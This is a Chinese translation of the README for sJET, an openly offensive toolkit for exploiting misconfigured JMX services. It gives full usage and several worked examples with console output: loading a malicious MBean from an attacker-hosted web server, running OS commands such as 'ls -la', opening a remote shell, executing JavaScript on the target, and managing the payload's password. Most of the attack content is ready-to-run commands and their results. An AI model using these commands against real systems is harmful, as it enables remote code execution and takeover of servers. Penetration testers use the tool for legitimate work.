sJET 由 siberas 提供

siberas JMX 利用工具包

sJET 允许轻松利用未正确配置的 JMX 服务。更多背景信息可在此处和此处找到。

先决条件

Jython 2.7

使用方法

SJET 实现了 CLI 接口（使用 argparse）：

jython sjet.py targetHost targetPort password MODE (modeOptions)

其中

targetHost - 目标 IP 地址
targetPort - 运行 JMX 的目标端口
password - 安装时设置/已设置的密码
MODE - 脚本模式
modeOptions - 所选模式的选项

模式与模式选项

install - 在目标上安装有效载荷
- payload_url - 加载有效载荷的完整 URL
- payload_port - 加载有效载荷的端口
uninstall - 从目标卸载有效载荷
password - 更改已部署有效载荷的密码
- password - 新密码
command - 在目标主机上运行命令 CMD
- CMD - 要运行的命令
shell - 在目标主机上启动简易 shell（受限于 Java 的 Runtime.exec()）
javascript - 在目标主机上运行 javascript 文件 FILENAME
- FILENAME - 要运行的 javascript 文件

示例

在易受攻击的 JMX 服务上安装有效载荷 MBean

以下示例中，易受攻击的 JMX 服务运行于 192.168.11.136:9991，攻击者 IP 地址为 192.168.11.132。JMX 服务将连接攻击者的 Web 服务以下载有效载荷 jar 文件。sJET 将在 8000 端口启动必要的 Web 服务。

成功安装 MBean 后，默认密码将更改为命令行中提供的密码（"super_secret"）。

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /siberas_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanSiberas:name=payload,id=1
[+] Changing default password...
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password

h0ng10@rocksteady:~/sjet$

在 Linux 目标上运行命令 'ls -la'：

安装有效载荷后，我们可以使用它在目标上执行操作系统命令。

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret command "ls -la"
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  2
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ls -la
total 16
drwxr-xr-x  4 root    root    4096 Aug 22 16:12 .
drwxr-xr-x 66 root    root    4096 Aug 22 16:12 ..
lrwxrwxrwx  1 root    root      12 Mär 29 01:46 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Mär 29 01:46 lib
lrwxrwxrwx  1 root    root      17 Mär 29 01:46 logs -> ../../log/tomcat8
drwxrwxr-x  3 tomcat8 tomcat8 4096 Aug 22 16:12 webapps
lrwxrwxrwx  1 root    root      19 Mär 29 01:46 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady:~/sjet$

在目标上以 shell 模式运行 ping

如果您不想每次命令都加载 Java，可以使用 "shell 模式" 获取一个受限的命令行 shell。

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret shell
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  3
[+] Use command 'exit_shell' to exit the shell
>>> ping -c 3 127.0.0.1
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2050ms
rtt min/avg/max/mdev = 0.044/0.055/0.075/0.014 ms


>>> exit_shell
[+] Done
h0ng10@rocksteady:~/sjet$

在目标上调用 JavaScript 有效载荷：

示例脚本 "javaproperties.js" 显示易受攻击服务的 Java 属性。可如下调用：

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret javascript scripts/javaproperties.js
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  4
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing script
java.vendor=Oracle Corporation
sun.java.launcher=SUN_STANDARD
catalina.base=/var/lib/tomcat8
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Linux
...
java.vm.name=OpenJDK 64-Bit Server VM
file.encoding=UTF-8
java.specification.version=1.8


h0ng10@rocksteady:~/sjet$

更改密码

将现有密码（"super_secret"）更改为 "this-is-the-new-password"：

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret password this-is-the-new-password
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  6
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password

[+] Done
h0ng10@rocksteady:~/sjet$

从目标卸载有效载荷 MBean

从目标卸载有效载荷 'Siberas'：

minmaxer@prellermbp:~/sjet$ jython sjet.py 192.168.1.101 9010 super_secret uninstall
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.1.101:9010/jmxrmi
[+] Connected: rmi://192.168.1.1  16
[+] MBean correctly uninstalled
minmaxer@prellermbp:~/sjet$

贡献

欢迎贡献。

作者

Hans-Martin Münch - 初始想法与工作 - h0ng10
Patricio Reller - CLI 与额外选项 - preller

另请参阅参与此项目的贡献者列表。

许可

本项目采用 MIT 许可协议 - 详情请参见 LICENSE 文件。

sjet

最受欢迎